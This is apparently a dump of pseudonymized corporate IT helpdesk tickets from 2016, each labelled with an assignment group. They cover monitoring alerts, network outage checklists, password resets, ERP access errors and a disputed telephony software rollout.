inspector rule id: 2132464\_x000D\_
inspector event id: 877864930\_x000D\_
\_x000D\_
event detail:\_x000D\_
from 46.45.62.5144 for device 23.43.93.645 summary: service icmp/icmp is down\_x000D\_
detail: service check failed! (100% failures)\_x000D\_
(icmp-echo) unable to ping 23.43.93.645, is assigned to Assignment group: GRP\_2.Ticket with Short description: event summary: [hw] service icmp/icmp is down, Description: dsw ticket number in33575471\_x000D\_
\_x000D\_
related events: \_x000D\_
event id: 91530190\_x000D\_
event summary: [hw] service icmp/icmp is down\_x000D\_
occurrence count: 2\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 32.23.28.792\_x000D\_
source hostname: HostName\_68\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 32.23.28.792\_x000D\_
device name: HostName\_68.company.company.com\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 566281\_x000D\_
inspector rule id: 2132464\_x000D\_
inspector event id: 877874632\_x000D\_
\_x000D\_
event detail:\_x000D\_
from 46.45.62.5144 for device 32.23.28.792 summary: service icmp/icmp is down\_x000D\_
detail: service check failed! (100% failures)\_x000D\_
(icmp-echo) unable to ping 32.23.28.792, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_68 near capacity - 90%, Description: dsw ticket in33575516\_x000D\_
\_x000D\_
related events: \_x000D\_
event id: 91530665\_x000D\_
event summary: [hw] filesystem near capacity - h:\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 32.23.28.792\_x000D\_
source hostname: HostName\_68\_x000D\_
connection directionality: internal\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 32.23.28.792\_x000D\_
device name: HostName\_68.company.company.com\_x000D\_
log time: 2016-08-11 at 21:48:46 utc\_x000D\_
vendor classification: none\_x000D\_
vendor priority: 1\_x000D\_
windows event id: 2013\_x000D\_
type: warning\_x000D\_
username: n/a\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 566279\_x000D\_
inspector rule id: 2132464\_x000D\_
inspector event id: 877876913\_x000D\_
agent id: 107317\_x000D\_
\_x000D\_
event detail:\_x000D\_
note: by default, this alert is generated when capacity reaches 90%. (\_x000D\_
aug 11 21:48:46 32.23.28.792 mswineventlog 1 system 1103 thu aug 11 21:48:46 2016 2013 srv n/a n/a warning HostName\_68.company.company.com none the h: disk is at or near capacity. you may need to delete some files. 173, is assigned to Assignment group: GRP\_39.Ticket with Short description: audio not working, Description:
summary:sound not working on pc, is assigned to Assignment group: GRP\_0.Ticket with Short description: sep encryption set up , Description: sep encryption set up , is assigned to Assignment group: GRP\_0.Ticket with Short description: need to change the drive name of the network drives., Description: need to change the drive name of the network drives., is assigned to Assignment group: GRP\_0.Ticket with Short description: system performance issue, Description: system performance issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: company email accounts, Description: from: tzrekwqf homwadbs [mailto:horst.zihrtyud@de.ibm.com] \_x000D\_
sent: tuesday, august 16, 2016 6:04 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: amar fw: company email accounts\_x000D\_
\_x000D\_
dear support team,\_x000D\_
\_x000D\_
i get my company e-mail adress today for the rpo project betwenn company and ibm.\_x000D\_
\_x000D\_
cesvpmor.azgtrbow@gmail.com\_x000D\_
\_x000D\_
it was a mis-typing. my last name is "zihrtyud". can you change this please?\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_2.Ticket with Short description: network outage: russia - warehouse network is down since 10:50am et on 08/16/16, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_10:50am et on 08/16/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: account to locked , Description: account to locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access ess, Description: unable to access ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: multiple issues with the company guest wifi sponsor portal, Description: we have some consultants from ca technologies visiting this week and i used the following website to provide them access to the companyguest wifi network:\_x000D\_
\_x000D\_
\_x000D\_
i see a certificate error for this site in ie and chrome. (see attached screenshot)\_x000D\_
\_x000D\_
i ignored the error and logged in to create a couple of accounts yesterday.\_x000D\_
given that account credentials are limited to a max of 1 day, i went in today and tried to "edit" the accounts to change the date for today.\_x000D\_
everything looked okay in the web app but users were not able to login.\_x000D\_
\_x000D\_
i even tried to reset the password for one of the users but that didn't help either.\_x000D\_
\_x000D\_
it is cumbersome to re-type the same info and create new accounts for each day.\_x000D\_
it would be great if the certificate issues are taken care of and accounts could be created for multiple days( or it is easier to renew passwords)\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: my hana will not load anymore, Description:
received from: nkthumgf.mwgdenbs@gmail.com
hi,
when i try to open hana now i get the follow error. please help.
[cid:image001.png@01d1f7aa.b16c2290]
nkthumgf mwgdenbs
nkthumgf.mwgdenbs@gmail.com<mailto:nkthumgf.mwgdenbs@gmail.com>
ph
, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm mobile app queries, Description: crm mobile app queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: wqfzjycu.omleknjd@gmail.com\_x000D\_
\_x000D\_
hi deeghyupak,\_x000D\_
\_x000D\_
it seems that there has been a lack of knowledge regarding this deployment of telephony\_software in israel.\_x000D\_
\_x000D\_
from the very beginning all our users apart from rabin have been working with the software in hebrew.\_x000D\_
\_x000D\_
also i am not sure deployment on telephony\_software pc's all at the same time should occur in the middle of the working day.\_x000D\_
\_x000D\_
please let us know when you have a hebrew version available and then we can discuss the deployment.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_65.Ticket with Short description: network outage: vogelfontein,south africa,sa primary circuit company\_zaf\_vogelfontein\_mpls\_ce01 is down since 10:5am et on 08/16, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_10:5am et on 08/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_global\_telecom\_1#000000220624227 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool not work correctly and affect multiple user for pre process area, Description: engineering tool not work correctly and affect multiple user for pre process area\_x000D\_
at the moment is not possible make/review cam programdntys / visualize the dwgs to make the routings and bom's and we needs review some cam files to shop floor and those issues causing stop production\_x000D\_
the system work sometimes and other is not possible to connect\_x000D\_
users affected = navarcm / collemc / geronca / furlaf / pintog, is assigned to Assignment group: GRP\_11.Ticket with Short description: outlook client issue., Description:
summary:receiving following message.
cannot start microsoft outlook. cannot open the outlook window. the set of folders cannot be opened. the information store could not be opened..... have "restared" computer several times, same result. help please, is assigned to Assignment group: GRP\_0.Ticket with Short description: when working in outlook, i cannot edite the subject line of an email. i have been able to do this until today., Description: when working in outlook, i cannot edit the subject line of an email. i have been able to do this until today., is assigned to Assignment group: GRP\_0.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: vetkdblx.nsuwkraj@gmail.com\_x000D\_
\_x000D\_
hi daghyunny,\_x000D\_
\_x000D\_
there was no issue with respect to new telephony\_software application and it was deployed successfully through patching\_antivirus\_sw. deployment was scheduled based on the os language, which in this case was english.\_x000D\_
since we were not supporting hebrew language in the past, we deployed english language telephony\_software 2016 r2 in israel pcs.\_x000D\_
csr team in israel had raised a concern that they can't work without hebrew language pack as confirmed by aofnvyzt eqiyskhm. same english package of new telephony\_software application is deployed successfully for the aofnvyzt eqiyskhm and he is able to work without any issues. dyxrpmwo hcljzivn local it from poland uninstalled new version of telephony\_software and installed old telephony\_software 4.0 on their pcs without informing us.\_x000D\_
\_x000D\_
to fulfill local csr team requirement we can reschedule the new telephony\_software application through remote deployment and hebrew language pack can be installed manually on their pcs.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wvdxnkhf jirecvta has issues to connect company wifi network in fÃ¼rth, Description: wvdxnkhf jirecvta has issues to connect company wifi network in fÃ¼rth, and in the past two days his windows access gets suddenly locked. could someone please get in contact with him per cell phone +44
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):SID\_34
enter user id of user having the issue: kowfthyuale
transaction code(s) the user needs or was working with: vl02n
describe the issue:
during pgi goods receipt eva is getting an error. iÂ´m attaching the su53 screenshot. the sales order was manually moved to plant\_263.
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp SID\_34 lock out., Description: erp SID\_34 lock out., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working : crm issue , Description: outlook not working : crm issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype personal certificate issue , Description: skype personal certificate issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 account unlock and password reset, Description: erp SID\_37 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: connecting drives to my computer, Description: \_x000D\_
\_x000D\_
received from: zxobmreq.udikorhv@gmail.com\_x000D\_
\_x000D\_
it,\_x000D\_
connecting drives to my computer is done by it, or is there a function to connect that you can do yourself?\_x000D\_
\_x000D\_
ierfgayt alwjivqg needs drive â€“ teams (\\HostName\_847<file:///\\HostName\_847>) (s:) connection.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: usa - (company) secondary circuit company-usa-vpn-rtr is down since 9:15 am et on 08/16/16, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_9:15 am et on 08/16/16\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: engineering\_tool, Description: name:obanjrhg rnafleys
language:
browser:microsoft internet explorer
email:obanjrhg.rnafleys@gmail.com
customer number:
telephone:+44
summary:access to the engineering\_tool system, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_32hotf, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_32hotf at 08/16/16 09:33:31, is assigned to Assignment group: GRP\_1.Ticket with Short description: this message was sent to the company quarantine database. please contact company it help desk for more information, Description: from: microsoft outlook [mailto:postmaster@company.onmicrosoft.com] \_x000D\_
sent: monday, august 15, 2016 7:51 pm\_x000D\_
to: vhzxkjet lkufgrhq\_x000D\_
subject: notification: fw: outstanding inwarehouse\_tool payment\_x000D\_
\_x000D\_
this message was sent to the company quarantine database. please contact company it help desk for more information. \_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: unable to connect to companysecure at usa, oh, Description: contact #
no one at the site is able to connect to companysecure, is assigned to Assignment group: GRP\_4.Ticket with Short description: not possible to complete to do pgi for rma 7112500109- del 9168048239- td - erro cost center, Description: during the pgi transaction for rma 7112500109 - delivery 9168048239 - customer 81295213 ( robhyertyjo tadeu) and 7112500108 - delivery 9168017962- customer 81295213 ( robhyertyjo tadeu) we are facing error - cost center 1company/par001 blocked against direct postings on 16.08.2016 / cost center par001, controlling area 1company is locked for primary postings on 16.08.2016. the erp system automatically determined controlling area 1company from the company code (and business area). \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_44.Ticket with Short description: issues with attachments on outlook , Description: issues with attachments on outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: wnyeczkb.eqpjcukv@gmail.com password reset, Description: wnyeczkb.eqpjcukv@gmail.com password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn queries, Description: vpn queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 password reset, Description: erp SID\_37 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to engineering\_tool, Description:
summary:job transfer back into markhtyeting and i am requesting access to the engineering\_tool (tool performance reporting) system., is assigned to Assignment group: GRP\_0.Ticket with Short description: call transferred to dan, Description: call transferred to dan, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to the hp printer at home, Description: unable to connect to the hp printer at home, is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to benefit solver in single sign on portal, Description: user called in stating that she needs the benefit solver app in single sign on portal.
checked in ad and didn't find that particular group added to user id. please help check and do the needful.
contact no -
user id - reddfgymos, is assigned to Assignment group: GRP\_2.Ticket with Short description: browser issue : , Description: \_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 - single sign on for hr\_tool is not operating, Description: i cannot access hr\_tool globalview for my pay check each time i go to the sso i get this message when i open the hr\_tool icon\_x000D\_
"sorry, your access is denied. please contact your system administrator."\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: install ie11 \ahlqgjwx wbsfavhg, Description: install ie11 \ahlqgjwx wbsfavhg, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit lan \wxstfouy isjzcotm, Description: probleme mit lan \wxstfouy isjzcotm, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to create delivery, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 1135584771/000020 + 5018821007/00001 + 5018981964/00001\_x000D\_
\_x000D\_
what material or item number? 3730375 + 7316410\_x000D\_
\_x000D\_
what warehouse location? plant\_108\_x000D\_
\_x000D\_
issue description / error message? nothing happens - no message, is assigned to Assignment group: GRP\_6.Ticket with Short description: after upgrade telephony\_software has dierppeared from the screen, Description: after upgrade telephony\_software has dierppeared from the screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to forecast to plan, Description: access to forecast to plan, is assigned to Assignment group: GRP\_22.Ticket with Short description: probleme mit Ã¶ffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru, Description: probleme mit Ã¶ffnen von dokumenten im intranet mit internet explorer . \xmlbfjpg yegzbvru, is assigned to Assignment group: GRP\_24.Ticket with Short description: single sign on portal apps, Description: please add the purchasing production and purchasing uacyltoe hxgaycze app to qiyujevw ogadikxv's single sign on portal. she is unable to view and enter purchasing this way. she is a member of purchasing and should have access to it. , is assigned to Assignment group: GRP\_27.Ticket with Short description: company guest account creation request , Description:
summary:can you please help me with the company guest wifi logon info?, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: problems with accessing quote engine within company centre, Description: i logged onto to company centre\_x000D\_
then searched for a part#\_x000D\_
then clicked on the configure button\_x000D\_
this would normally start the quote engine\_x000D\_
\_x000D\_
instead, receiving the following error (attached), is assigned to Assignment group: GRP\_21.Ticket with Short description: unable to update password on password\_management\_tool password manager, Description: unable to update password on password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp pw is invalid, Description: \_x000D\_
\_x000D\_
received from: qnzmjxsl.logsrwnb@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
pls. give me authority to reset my erp pw. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to generate inwarehouse\_tool as per delivery# 8057901657, Description: unable to generate inwarehouse\_tool as per delivery# 9168012768, we've got the error message ie. bapi\_po\_create fail: material auto extend failed, please help fix this error and advise back to us. then, we will generate tax inwarehouse\_tool at our end, , is assigned to Assignment group: GRP\_13.Ticket with Short description: HostName\_1045:(reporting\_engineering\_tooling - production): drive e is 88% full., Description: reporting\_tool alert: average (4 samples) disk free on e:\ is now 12%, which is below the warning threshold (15%) out of total size 350.0 gb, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp SID\_34 account lock out issue , Description: erp SID\_34 account lock out issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: phone issues, Description: phone issues, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte um ein ruckruf, Description:
received from: zkgfcyvx.sgxeatyb@gmail.com
danke
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is giving stack guard error., Description: outlook is giving stack guard error., is assigned to Assignment group: GRP\_0.Ticket with Short description: the excel files generated by zsSID\_5800 don't open on mobile devices of sales employees, Description: see email attached for more details and contacts. check if the excel version or such can be adjusted or if there is an oss note.\_x000D\_
worse case we have to "push" mobile uers to use the reporting\_tool version of open orders however opening the excel file is most likely more convenient for them., is assigned to Assignment group: GRP\_20.Ticket with Short description: berechtigung zeitwirtschaft av, Description: hallo herr busse,\_x000D\_
\_x000D\_
wÃ¼rden sie dies bitte via ticket an die it schicken bzw. an \_x000D\_
\_x000D\_
help@company.com\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: company-eu-deu-germany-e-b2-f2-press-buero-3550-access-sw01 switch is down since 6:25am on 08/16/16, Description: company-eu-deu-germany-e-b2-f2-press-buero-3550-access-sw01 switch is down since 6:25am on 08/16/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: lean tracker error, Description: \_x000D\_
\_x000D\_
received from: fdmobjul.oicarvqt@gmail.com\_x000D\_
\_x000D\_
i am unable to add lean event in to collaboration\_platform lean tracker , getting below error message.\_x000D\_
request you to resolve.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f7d9.0f9dd1a0]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: user id locked., Description:
received from: utoegyqx.lhosidqg@gmail.com
please note , ess portal access for the below specified detail is locked again.
employee name: raghu mg
employee id: 299678542.
user name: mgr.
the issue with this user id is it getting locked again and again.
previously also we were facing the same issue, then the user id and password has been changed and it had worked for few months.
now the issue has occurred again.
the employee is getting error message : user authentication failed.
seek support to resolve the issue.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software\_2016r2\_installation - upgrade - does not work after two restarts - there is no application! empw8111340 a: /nt, Description: \_x000D\_
\_x000D\_
received from: zjcsqtdn.jikyworg@gmail.com\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / with best , is assigned to Assignment group: GRP\_65.Ticket with Short description: receiving server error in crm \_ adoption score card , Description: \_x000D\_
\_x000D\_
received from: qklrdoba.qxivmbts@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please find below the snap of the error which i am receiving, while accessing the adoption scorecard :\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1f7d3.7f7e2a70]\_x000D\_
\_x000D\_
please do the needful.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: wqfzjycu.omleknjd@gmail.com\_x000D\_
\_x000D\_
hi deeghyupak,\_x000D\_
\_x000D\_
re our phone call just now please can you stop immediately the update for telephony\_software our pc's are unable to run telephony\_software after the update.\_x000D\_
\_x000D\_
please see your list below\_x000D\_
\_x000D\_
aghl8325615\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
nazarr\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
aghw8325419\_x000D\_
\_x000D\_
israel\_x000D\_
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israel\_x000D\_
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israey\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
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ic user applications (64-bit)\_x000D\_
\_x000D\_
english\_x000D\_
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aghw8325488\_x000D\_
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israel\_x000D\_
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nahumo\_x000D\_
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windows 7 professional\_x000D\_
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israel\_x000D\_
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pogredrty\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
\_x000D\_
these are the affected pc's with issues.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_33.Ticket with Short description: attendance\_tool password reset request , Description: attendance\_tool password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: re: deployment notification | telephony\_software 2016, Description: \_x000D\_
\_x000D\_
received from: vetkdblx.nsuwkraj@gmail.com\_x000D\_
\_x000D\_
hi daghyunny,\_x000D\_
\_x000D\_
please find the below pcs which are installed with old telephony\_software applications, when we pulled report from patching\_antivirus\_sw.\_x000D\_
\_x000D\_
name\_x000D\_
\_x000D\_
location\_x000D\_
\_x000D\_
country\_x000D\_
\_x000D\_
user\_x000D\_
\_x000D\_
os name\_x000D\_
\_x000D\_
name\_x000D\_
\_x000D\_
install primary language\_x000D\_
\_x000D\_
os architecture\_x000D\_
\_x000D\_
deployment\_x000D\_
\_x000D\_
aghl8325615\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
nazarr\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
32-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
aghw8325419\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israey\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications (64-bit)\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
64-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
aghw8325488\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
nahumo\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications (64-bit)\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
64-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
aghw8325491\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
tevkia\_x000D\_
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windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
32-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
aghw8325639\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
pogredrty\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
32-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
agvw8325504\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
israel\_x000D\_
\_x000D\_
sokdelfgty\_x000D\_
\_x000D\_
windows 7 professional\_x000D\_
\_x000D\_
ic user applications\_x000D\_
\_x000D\_
english\_x000D\_
\_x000D\_
32-bit\_x000D\_
\_x000D\_
patching\_antivirus\_sw\_x000D\_
\_x000D\_
\_x000D\_
we have scheduled the new version upgrade for the pcs which are installed with old telephony\_software application.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad account lock out , Description: ad account lock out , is assigned to Assignment group: GRP\_0.Ticket with Short description: new order--mm# 2694571 dmhpm045 / mm# 2695539 mb033, Description: from: crysyhtal xithya \_x000D\_
sent: tuesday, august 16, 2016 1:13 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: cindy wanrtyg; marftgytin xia\_x000D\_
subject: tfw: ç­”å¤: new order--mm# 2694571 dmhpm045 / mm# 2695539 mb033\_x000D\_
importance: high\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
can you please advise why the group costs for mm#2694571 and 2695539 from plant\_122 and plant\_335 are different?\_x000D\_
taking mm#2694571 for example: @plant\_122, group costs is $67.87, while @plant\_335, group costs is $82.05? why? \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
